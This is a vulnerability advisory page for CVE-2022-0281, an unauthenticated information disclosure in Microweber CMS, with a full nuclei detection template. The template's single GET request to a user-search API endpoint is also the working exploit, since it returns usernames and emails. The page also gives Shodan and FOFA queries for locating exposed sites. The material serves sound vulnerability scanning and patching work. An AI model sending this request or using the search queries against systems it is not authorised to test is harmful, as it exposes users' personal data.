Microweber Information Disclosure

highseverity

7.5CVSS score

10.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Microweber contains a vulnerability that allows exposure of sensitive information to an unauthorized actor in Packagist microweber/microweber prior to 1.2.11.

Impact

Successful exploitation of this vulnerability can lead to the exposure of sensitive data, such as user credentials or database information.

Fix

Apply the latest security patch or update provided by the Microweber CMS vendor to fix the information disclosure vulnerability (CVE-2022-0281).

How to confirm it

Send: GET {{BaseURL}}/api/users/search_authors
Positive when: contains "\"username\":" and "\"email\":" and "\"display_name\":" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0281 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0281

info:
  name: Microweber Information Disclosure
  author: pikpikcu
  severity: high
  description: Microweber contains a vulnerability that allows exposure of sensitive information to an unauthorized actor in Packagist microweber/microweber prior to 1.2.11.
  impact: |
    Successful exploitation of this vulnerability can lead to the exposure of sensitive data, such as user credentials or database information.
  remediation: |
    Apply the latest security patch or update provided by the Microweber CMS vendor to fix the information disclosure vulnerability (CVE-2022-0281).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0281
    - https://github.com/microweber/microweber/commit/e680e134a4215c979bfd2eaf58336be34c8fc6e6
    - https://huntr.dev/bounties/315f5ac6-1b5e-4444-ad8f-802371da3505
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-0281
    cwe-id: CWE-200
    epss-score: 0.10478
    epss-percentile: 0.95793
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,microweber,disclosure,huntr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/users/search_authors"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"email":'
          - '"display_name":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from